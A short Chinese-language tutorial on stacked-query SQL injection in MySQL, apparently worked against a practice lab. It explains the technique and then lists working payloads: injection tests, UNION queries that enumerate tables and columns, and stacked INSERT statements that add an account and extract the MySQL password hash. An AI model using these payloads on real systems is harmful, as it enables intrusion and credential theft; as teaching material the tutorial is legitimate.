一、堆叠注入
堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行
攻击的语句。
在 mysql 里 mysqli_multi_query 和 mysql_multi_query这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
但是堆叠查询只能返回第一条查询信息,不返回后面的信息。
select version();select database()
堆叠注入的危害是很大的,可以任意使用增删改查的语句,例如删除数据库、修改数据库、添加数据库用户。
二、堆叠注入的利用
1、判断注入
使用
id=1 and 1=1--+
id=1 and 1=2--+
先确定是否存在注入。
2、获取表
接着使用堆叠语法进行检测。
-999 union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+
得到表:emails,referers,uagents,users
3、获取字段
-999 union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME=users limit 1)--+
获得字段:id,username,password
4、添加账号和密码
知道表的列的情况下使用 insert into 插入语句进行增加账号。如果是管理表,直接添加管理员账号即可登录后台。
-999;insert into users(id,username,password)values(1000,at0,123456)--+
访问 1000 即可访问到刚刚添加的账号。
5、获取mysql密码
-999;insert into users(id,username,password)values(1001,(select authentication_string from mysql.user limit 1),123456)--+
id=1001
6、获取版本信息
-999;insert into users(id,username,password)values(1002,(select version()),123456)--+
id=1002